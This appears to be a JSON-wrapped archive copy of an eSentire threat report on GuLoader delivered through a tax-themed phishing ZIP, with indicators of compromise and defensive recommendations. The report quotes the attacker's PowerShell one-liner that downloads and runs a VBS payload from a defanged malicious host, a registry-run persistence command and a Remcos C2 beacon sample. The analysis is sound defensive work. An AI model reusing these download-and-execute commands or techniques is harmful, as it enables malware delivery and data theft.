{
	"id": "e72a3d6f-181e-4dbb-9c09-57470e697ca9",
	"created_at": "2026-04-06T00:14:43.799186Z",
	"updated_at": "2026-04-10T13:11:49.839228Z",
	"deleted_at": null,
	"sha1_hash": "863ec9e4dc97a6b5a414bcf4614eb9377d05a234",
	"title": "GuLoader Targeting the Financial Sector Using a Tax-themed Phishing Lure",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1984156,
	"plain_text": "GuLoader Targeting the Financial Sector Using a Tax-themed\r\nPhishing Lure\r\nBy eSentire Threat Response Unit (TRU)\r\nArchived: 2026-04-05 23:39:10 UTC\r\nAdversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and\r\nCyber Analysts who hunt, investigate, contain and respond to threats within minutes.\r\nWe have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya\r\nMSP breach and the more_eggs malware.\r\nOur Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat\r\nAnalytics driven by our Threat Response Unit – the TRU team.\r\nIn TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We\r\noutline how we responded to the confirmed threat and what recommendations we have going forward.\r\nHere’s the latest from our TRU Team…\r\nWhat did we find?\r\nGuLoader, also known as CloudEyE, is a loader malware that is known to deliver additional malware, such as\r\ninfostealers and Remote Access Trojans (RATs). The loader contains multiple stages of shellcode and is known for\r\nbeing one of the most advanced loaders with numerous anti-analysis techniques.\r\nIn March 2022, TRU observed GuLoader targeting the financial sector via the phishing email using a tax-themed lure.\r\nThe phishing email contained a shared link to Adobe Acrobat, where the user could download the password-protected\r\nZIP archive (Figure 1).\r\nFigure 1: The malicious ZIP archive shared by an attacker\r\nThe ZIP archive contains a decoy image and a shortcut file disguised as a PDF (Figure 2).\r\nhttps://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure\r\nPage 1 of 11\n\nFigure 2: Contents of the password-protected ZIP archive\r\nThe shortcut file leverages PowerShell to retrieve additional payloads from the website. Here is the example of the\r\nspawned PowerShell one-liner command:\r\n“powershell.exe\" n; Invoke-WebRequest hxxp://0x6D[.]13561923/xlog/Blotlg.vbs -OutFile\r\nC:\\Windows\\Tasks\\Repmlice.vbs; C:\\Windows\\Tasks\\Repmlice.vbs; Invoke-WebRequest\r\nhxxp://0x6D[.]13561923/xlog/info.pdf -OutFile C:\\Users\\Public\\details.pdf; C:\\Users\\Public\\details.pdf\r\nhttps://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure\r\nPage 2 of 11\n\nFigure 3: The web server hosting Remcos RAT and GuLoader payloads\r\nFirst, the command retrieves the VBS file from the encoded domain that translates to\r\nhxxp://109.206.240[.]67/xlog/Blotlg.vbs. The VBS file is saved under C:\\Windows\\Tasks and Remplice.vbs. Then the\r\ndecoy PDF file is fetched and saved under the C:\\Users\\Public folder as details.pdf. The PDF file is then automatically\r\nopened to distract the user from the malicious VBS script execution in the background (Figure 4).\r\nhttps://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure\r\nPage 3 of 11\n\nFigure 4: PDF decoy document\r\nThe obfuscated VBS script is responsible for writing the base64-encoded GuLoader shellcode payload to registry keys\r\nand executing the GuLoader payload via PowerShell (Figures 5-6).\r\nThe shellcode is written under:\r\nHKEY_CURRENT_USER\\Amuyon\\Impressed\\Fusentasteris\r\nhttps://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure\r\nPage 4 of 11\n\nFigure 5: The obfuscated VBS file\r\nFigure 6: GuLoader shellcode payload written to the registry from the VBS file\r\nGuLoader achieves persistence via Registry Run Keys (Figure 7). The registry data is a PowerShell command that\r\nretrieves the value of the 'Parlando' property for the registry key located at 'HKCU:\\State'.\r\n%SaltoQ% -w 1 $Returkuverter=(Get-ItemProperty -Path 'HKCU:\\State\\').Parlando;%SaltoQ%\r\n($Returkuverter)\r\nhttps://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure\r\nPage 5 of 11\n\nFigure 7: Persistence via Registry Run Keys\r\nThe “State” registry key contains the obfuscated PowerShell script that reflectively loads the GuLoader shellcode in\r\nmemory (Figure 8).\r\nFigure 8: Obfuscated PowerShell script\r\nThe secondary PowerShell script contains the strings that are XOR-ed with the decimal 50 (Figure 9). Upon decoding\r\nthe script, we can observe that the PowerShell script is responsible for executing two shellcode buffers that are Base64-\r\ndecoded and converted into a byte array.\r\nFigure 9: Decoded PowerShell secondary script\r\nThe first 647 bytes of the shellcode are responsible for decoding the second part of the shellcode, which is the rest of\r\nthe shellcode (Figure 10).\r\nhttps://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure\r\nPage 6 of 11\n\nFigure 10: Decoding the shellcode\r\nThe shellcode retrieves the Remcos RAT from the web server (hxxp://109.206.240[.]67/xlog/TkhoWbbRT180.pfm) and\r\ninjects it into the ieinstal.exe process.\r\nExample of the data extracted from memory which is being sent to Remcos C2 from a sandbox environment:\r\n||US|Windows 10 Enterprise (64 bit)|4294430720|4.4.0 Pro|C:\\\\ \\AppData\\Roaming\\urtfghn.dat|C:\\Program Files\r\n(x86)\\internet explorer\\ieinstal.exe|Filter|1|281|8314921|0|xlongactive[.]su|urtfghn-W5RHNP|0|C:\\Program Files\r\n(x86)\\internet explorer\\ieinstal.exe|Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz|Exe|\r\nxlongactive[.]su:2404:1|Crypted|1|1|8|xilroe.exe|Remcos|0||urtfghn-W5RHNP|1|6|urtfghn.dat|10|5|6|Screenshots|5|MicRecords|0|0|0|1|Remcos|092D17FEBC648A7C02A13113CDC4F590|0|0|\r\nHow did we find it?\r\neSentire’s MDR for Endpoint identified execution behavior associated with GuLoader.\r\nWhat did we do?\r\nFurther infection was prevented by eSentire’s MDR for Endpoint.\r\nOur 24/7 SOC Cyber Analysts responded to the threat and took containment actions, isolating the infected host\r\non the customer’s behalf and alerting the customer to the malicious activity.\r\nWhat can you learn from this TRU positive?\r\nTax-themed phishing lures are a popular tactic used by cybercriminals during tax season to plant malware and\r\nsteal sensitive information from unsuspecting victims.\r\nhttps://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure\r\nPage 7 of 11\n\nThese lures typically take the form of fake emails that appear to be from legitimate tax authorities, such\r\nas the IRS, and often contain urgent messages about tax refunds or payments. Once the malware is\r\ninstalled, attackers can access the victim's system and data, allowing them to conduct further attacks.\r\nMalicious shortcuts disguised as legitimate files, such as PDFs, can be an effective way to trick users into\r\nexecuting malicious code on the machine. One reason why these attacks can be so effective is that many users\r\nare accustomed to receiving and opening PDF files. The attacker (s) can exploit this familiarity to create\r\narchives that look like they contain important PDF attachments.\r\nThe most recent GuLoader malware variant uses obfuscated VBS and PowerShell to drop and inject additional\r\nmalware, such as Remcos RAT, into a legitimate process, making it difficult to detect. Injecting the code into a\r\nlegitimate process helps the malware evade antivirus software and other security tools.\r\nPassword-protected zip archives can be an efficient way to bypass email filters and antiviruses. By compressing\r\na file into a password-protected archive, the file becomes more difficult for antiviruses and email filters to scan\r\nand analyze since they cannot scan the contents of the archive without the correct password.\r\nRecommendations from our Threat Response Unit (TRU) Team:\r\nIndividuals and organizations should be vigilant when receiving unsolicited emails or messages related to taxes.\r\nTrain users to identify and report potentially malicious content using Phishing and Security Awareness Training\r\n(PSAT) programs.\r\nProtect endpoints against malware by:\r\nEnsuring antivirus signatures are up-to-date.\r\nUsing a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) tool to detect and contain\r\nthreats.\r\nIndicators of Compromise\r\nName Indicator\r\nBlotlg.vbs d79593a6fb6c636a50334085b9d6018b\r\ninfo.pdf cc6440a764050a8adf530efe2a989d25\r\nPowerShell obfuscated script d2b6255b7076eb754921121489804fee\r\nShellcode dfb72ba81b0f765d1676f856d6af82c7\r\nDecrypted shellcode d7baac59e5aa6122621c31f0afb49119\r\nhttps://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure\r\nPage 8 of 11\n\nC2 (opendir) 109.206.240[.]67\r\nRemcos RAT C2 xlongactive[.]su\r\nPassword-protected ZIP archive fa0b3b0e5b7b5aa9a2da7bebbc15ab0e944d984b\r\neSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers who develop new detections\r\nenriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and\r\nautomate rapid response to advanced threats.\r\nIf you are not currently engaged with an MDR provider, eSentire MDR can help you reclaim the advantage and put\r\nyour business ahead of disruption.\r\nLearn what it means to have an elite team of Threat Hunters and Researchers that works for you. Connect with an\r\neSentire Security Specialist.\r\nTo learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next Level\r\nMDR, connect with an eSentire Security Specialist now.\r\nhttps://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure\r\nPage 9 of 11\n\nGET STARTED\r\nABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU)\r\nThe eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your\r\norganization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7\r\nSecurity Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and\r\nworks as an extension of your security team to continuously improve our Managed Detection and Response service. By\r\nproviding complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against\r\nknown and unknown threats.\r\nhttps://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure\r\nPage 10 of 11\n\nSource: https://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure\r\nhttps://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure"
	],
	"report_names": [
		"guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure"
	],
	"threat_actors": [],
	"ts_created_at": 1775434483,
	"ts_updated_at": 1775826709,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
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